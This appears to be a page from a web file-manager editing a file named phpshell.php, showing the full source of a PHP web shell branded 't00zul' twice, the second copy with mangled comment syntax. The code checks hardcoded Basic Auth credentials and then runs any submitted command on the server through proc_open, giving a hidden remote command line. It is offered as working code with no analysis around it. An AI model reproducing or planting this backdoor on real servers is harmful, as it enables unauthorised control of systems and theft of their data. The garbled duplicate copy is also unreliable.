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10-01-2026 11:41:11

Edit file : phpshell.php

<?php // -*- coding: utf-8 -*- $passwd = array('root' => 'core'); /* Set your aliases here. Each key in the array will be substituted * with the corresponding value before the commands are executed. */ $aliases = array('ls' => 'ls -CvhF', 'll' => 'ls -lvhF'); if (!isset($_SERVER['PHP_AUTH_USER']) || !isset($_SERVER['PHP_AUTH_PW']) || !isset($passwd[$_SERVER['PHP_AUTH_USER']]) || $passwd[$_SERVER['PHP_AUTH_USER']] != $_SERVER['PHP_AUTH_PW']) { header('WWW-Authenticate: Basic realm="t00zul"'); header('HTTP/1.0 401 Unauthorized'); $authenticated = false; } else { $authenticated = true; /* We now start the session. */ session_start(); /* Initialize the session variables. */ if (empty($_SESSION['cwd']) || !empty($_REQUEST['reset'])) { $_SESSION['cwd'] = getcwd(); $_SESSION['history'] = array(); $_SESSION['output'] = ''; } if (!empty($_REQUEST['command'])) { if (get_magic_quotes_gpc()) { /* We don't want to add the commands to the history in the * escaped form, so we remove the backslashes now. */ $_REQUEST['command'] = stripslashes($_REQUEST['command']); } /* Save the command for late use in the JavaScript. If the * command is already in the history, then the old entry is * removed before the new entry is put into the list at the * front. */ if (($i = array_search($_REQUEST['command'], $_SESSION['history'])) !== false) unset($_SESSION['history'][$i]); array_unshift($_SESSION['history'], $_REQUEST['command']); /* Now append the commmand to the output. */ $_SESSION['output'] .= '$ ' . $_REQUEST['command'] . "\n"; /* Initialize the current working directory. */ if (ereg('^[[:blank:]]*cd[[:blank:]]*$', $_REQUEST['command'])) { $_SESSION['cwd'] = dirname(__FILE__); } elseif (ereg('^[[:blank:]]*cd[[:blank:]]+([^;]+)$', $_REQUEST['command'], $regs)) { /* The current command is a 'cd' command which we have to handle * as an internal shell command. */ if ($regs[1][0] == '/') { /* Absolute path, we use it unchanged. */ $new_dir = $regs[1]; } else { /* Relative path, we append it to the current working * directory. */ $new_dir = $_SESSION['cwd'] . '/' . $regs[1]; } /* Transform '/./' into '/' */ while (strpos($new_dir, '/./') !== false) $new_dir = str_replace('/./', '/', $new_dir); /* Transform '//' into '/' */ while (strpos($new_dir, '//') !== false) $new_dir = str_replace('//', '/', $new_dir); /* Transform 'x/..' into '' */ while (preg_match('|/\.\.(?!\.)|', $new_dir)) $new_dir = preg_replace('|/?[^/]+/\.\.(?!\.)|', '', $new_dir); if ($new_dir == '') $new_dir = '/'; /* Try to change directory. */ if (@chdir($new_dir)) { $_SESSION['cwd'] = $new_dir; } else { $_SESSION['output'] .= "cd: could not change to: $new_dir\n"; } } else { /* The command is not a 'cd' command, so we execute it after * changing the directory and save the output. */ chdir($_SESSION['cwd']); /* Alias expansion. */ $length = strcspn($_REQUEST['command'], " \t"); $token = substr($_REQUEST['command'], 0, $length); if (isset($aliases[$token])) $_REQUEST['command'] = $aliases[$token] . substr($_REQUEST['command'], $length); $p = proc_open($_REQUEST['command'], array(1 => array('pipe', 'w'), 2 => array('pipe', 'w')), $io); /* Read output sent to stdout. */ while (!feof($io[1])) { $_SESSION['output'] .= htmlspecialchars(fgets($io[1]), ENT_COMPAT, 'UTF-8'); } /* Read output sent to stderr. */ while (!feof($io[2])) { $_SESSION['output'] .= htmlspecialchars(fgets($io[2]), ENT_COMPAT, 'UTF-8'); } fclose($io[1]); fclose($io[2]); proc_close($p); } } /* Build the command history for use in the JavaScript */ if (empty($_SESSION['history'])) { $js_command_hist = '""'; } else { $escaped = array_map('addslashes', $_SESSION['history']); $js_command_hist = '"", "' . implode('", "', $escaped) . '"'; } } header('Content-Type: text/html; charset=UTF-8'); /* Since most installations still operate with short_open_tag enabled, * we have to echo this string from within PHP: */ echo '<?xml version="1.0" encoding="UTF-8"?>' . "\n"; ?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <title>PhpShell 2.0</title> <link rel="stylesheet" href="phpshell.css" type="text/css" /> <script type="text/javascript" language="JavaScript"> var current_line = 0; var command_hist = new Array(<?php echo $js_command_hist ?>); var last = 0; function key(e) { if (!e) var e = window.event; if (e.keyCode == 38 && current_line < command_hist.length-1) { command_hist[current_line] = document.shell.command.value; current_line++; document.shell.command.value = command_hist[current_line]; } if (e.keyCode == 40 && current_line > 0) { command_hist[current_line] = document.shell.command.value; current_line--; document.shell.command.value = command_hist[current_line]; } } function init() { document.shell.setAttribute("autocomplete", "off"); document.shell.output.scrollTop = document.shell.output.scrollHeight; document.shell.command.focus(); } </script> </head> <body onload="init()"> <h1>t00zul</h1> <?php if (!$authenticated) { ?> <p>You failed to authenticate yourself to root. You can <a href="<?php echo $_SERVER['PHP_SELF'] ?>">reload</a> to try again.</p> </body> </html> <?php // ' <-- fix syntax highlight in Emacs exit; } error_reporting (E_ALL); if (empty($_REQUEST['rows'])) $_REQUEST['rows'] = 24; ?> <p>Current Working Directory: <code><?php echo $_SESSION['cwd'] ?></code></p> <form name="shell" action="<?php echo $_SERVER['PHP_SELF'] ?>" method="post"> <div> <textarea name="output" readonly="readonly" cols="80" rows="<?php echo $_REQUEST['rows'] ?>"> <?php $lines = substr_count($_SESSION['output'], "\n"); $padding = str_repeat("\n", max(0, $_REQUEST['rows']+1 - $lines)); echo rtrim($padding . $_SESSION['output']); ?> </textarea> <p class="prompt"> $ <input class="prompt" name="command" type="text" onkeyup="key(event)" size="78" tabindex="1"> </p> </div> <p> <input type="submit" value="Execute Command" /> <input type="submit" name="reset" value="Reset" /> Rows: <input type="text" name="rows" value="<?php echo $_REQUEST['rows'] ?>" /> </p> </form> </body> </html>
DOS / WINDOWS format
UNIX format

<?php // -- coding: utf-8 -- $passwd = array('root' => 'core'); /* Set your aliases here. Each key in the array will be substituted * with the corresponding value before the commands are executed. / $aliases = array('ls' => 'ls -CvhF', 'll' => 'ls -lvhF'); if (!isset($_SERVER['PHP_AUTH_USER']) \|\| !isset($_SERVER['PHP_AUTH_PW']) \|\| !isset($passwd[$_SERVER['PHP_AUTH_USER']]) \|\| $passwd[$_SERVER['PHP_AUTH_USER']] != $_SERVER['PHP_AUTH_PW']) { header('WWW-Authenticate: Basic realm="t00zul"'); header('HTTP/1.0 401 Unauthorized'); $authenticated = false; } else { $authenticated = true; / We now start the session. / session_start(); / Initialize the session variables. / if (empty($_SESSION['cwd']) \|\| !empty($_REQUEST['reset'])) { $_SESSION['cwd'] = getcwd(); $_SESSION['history'] = array(); $_SESSION['output'] = ''; } if (!empty($_REQUEST['command'])) { if (get_magic_quotes_gpc()) { / We don't want to add the commands to the history in the * escaped form, so we remove the backslashes now. / $_REQUEST['command'] = stripslashes($_REQUEST['command']); } / Save the command for late use in the JavaScript. If the * command is already in the history, then the old entry is * removed before the new entry is put into the list at the * front. / if (($i = array_search($_REQUEST['command'], $_SESSION['history'])) !== false) unset($_SESSION['history'][$i]); array_unshift($_SESSION['history'], $_REQUEST['command']); / Now append the commmand to the output. / $_SESSION['output'] .= '$ ' . $_REQUEST['command'] . "\n"; / Initialize the current working directory. / if (ereg('^[[:blank:]]cd[[:blank:]]$', $_REQUEST['command'])) { $_SESSION['cwd'] = dirname(__FILE__); } elseif (ereg('^[[:blank:]]cd[[:blank:]]+([^;]+)$', $_REQUEST['command'], $regs)) { /* The current command is a 'cd' command which we have to handle * as an internal shell command. / if ($regs[1][0] == '/') { / Absolute path, we use it unchanged. / $new_dir = $regs[1]; } else { / Relative path, we append it to the current working * directory. / $new_dir = $_SESSION['cwd'] . '/' . $regs[1]; } / Transform '/./' into '/' / while (strpos($new_dir, '/./') !== false) $new_dir = str_replace('/./', '/', $new_dir); / Transform '//' into '/' / while (strpos($new_dir, '//') !== false) $new_dir = str_replace('//', '/', $new_dir); / Transform 'x/..' into '' / while (preg_match('\|/\.\.(?!\.)\|', $new_dir)) $new_dir = preg_replace('\|/?[^/]+/\.\.(?!\.)\|', '', $new_dir); if ($new_dir == '') $new_dir = '/'; / Try to change directory. / if (@chdir($new_dir)) { $_SESSION['cwd'] = $new_dir; } else { $_SESSION['output'] .= "cd: could not change to: $new_dir\n"; } } else { / The command is not a 'cd' command, so we execute it after * changing the directory and save the output. / chdir($_SESSION['cwd']); / Alias expansion. / $length = strcspn($_REQUEST['command'], " \t"); $token = substr($_REQUEST['command'], 0, $length); if (isset($aliases[$token])) $_REQUEST['command'] = $aliases[$token] . substr($_REQUEST['command'], $length); $p = proc_open($_REQUEST['command'], array(1 => array('pipe', 'w'), 2 => array('pipe', 'w')), $io); / Read output sent to stdout. / while (!feof($io[1])) { $_SESSION['output'] .= htmlspecialchars(fgets($io[1]), ENT_COMPAT, 'UTF-8'); } / Read output sent to stderr. / while (!feof($io[2])) { $_SESSION['output'] .= htmlspecialchars(fgets($io[2]), ENT_COMPAT, 'UTF-8'); } fclose($io[1]); fclose($io[2]); proc_close($p); } } / Build the command history for use in the JavaScript / if (empty($_SESSION['history'])) { $js_command_hist = '""'; } else { $escaped = array_map('addslashes', $_SESSION['history']); $js_command_hist = '"", "' . implode('", "', $escaped) . '"'; } } header('Content-Type: text/html; charset=UTF-8'); / Since most installations still operate with short_open_tag enabled, * we have to echo this string from within PHP: */ echo '<?xml version="1.0" encoding="UTF-8"?>' . "\n"; ?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <title>PhpShell 2.0</title> <link rel="stylesheet" href="phpshell.css" type="text/css" /> <script type="text/javascript" language="JavaScript"> var current_line = 0; var command_hist = new Array(<?php echo $js_command_hist ?>); var last = 0; function key(e) { if (!e) var e = window.event; if (e.keyCode == 38 && current_line < command_hist.length-1) { command_hist[current_line] = document.shell.command.value; current_line++; document.shell.command.value = command_hist[current_line]; } if (e.keyCode == 40 && current_line > 0) { command_hist[current_line] = document.shell.command.value; current_line--; document.shell.command.value = command_hist[current_line]; } } function init() { document.shell.setAttribute("autocomplete", "off"); document.shell.output.scrollTop = document.shell.output.scrollHeight; document.shell.command.focus(); } </script> </head> <body onload="init()"> <h1>t00zul</h1> <?php if (!$authenticated) { ?> <p>You failed to authenticate yourself to root. You can <a href="<?php echo $_SERVER['PHP_SELF'] ?>">reload</a> to try again.</p> </body> </html> <?php // ' <-- fix syntax highlight in Emacs exit; } error_reporting (E_ALL); if (empty($_REQUEST['rows'])) $_REQUEST['rows'] = 24; ?> <p>Current Working Directory: <code><?php echo $_SESSION['cwd'] ?></code></p> <form name="shell" action="<?php echo $_SERVER['PHP_SELF'] ?>" method="post"> <div> <textarea name="output" readonly="readonly" cols="80" rows="<?php echo $_REQUEST['rows'] ?>"> <?php $lines = substr_count($_SESSION['output'], "\n"); $padding = str_repeat("\n", max(0, $_REQUEST['rows']+1 - $lines)); echo rtrim($padding . $_SESSION['output']); ?> </textarea> <p class="prompt"> $ <input class="prompt" name="command" type="text" onkeyup="key(event)" size="78" tabindex="1"> </p> </div> <p> <input type="submit" value="Execute Command" /> <input type="submit" name="reset" value="Reset" /> Rows: <input type="text" name="rows" value="<?php echo $_REQUEST['rows'] ?>" /> </p> </form> </body> </html>
DOS / WINDOWS format UNIX format